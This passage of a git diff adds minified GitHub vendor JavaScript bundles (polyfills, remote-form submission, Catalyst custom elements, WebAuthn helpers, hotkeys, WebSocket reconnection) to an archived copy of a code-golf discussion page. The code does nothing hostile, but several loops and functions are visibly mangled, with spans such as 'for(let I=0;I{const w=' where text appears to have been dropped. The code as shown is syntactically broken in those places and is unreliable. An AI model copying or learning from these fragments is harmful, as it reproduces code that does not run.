Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..7337406 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof 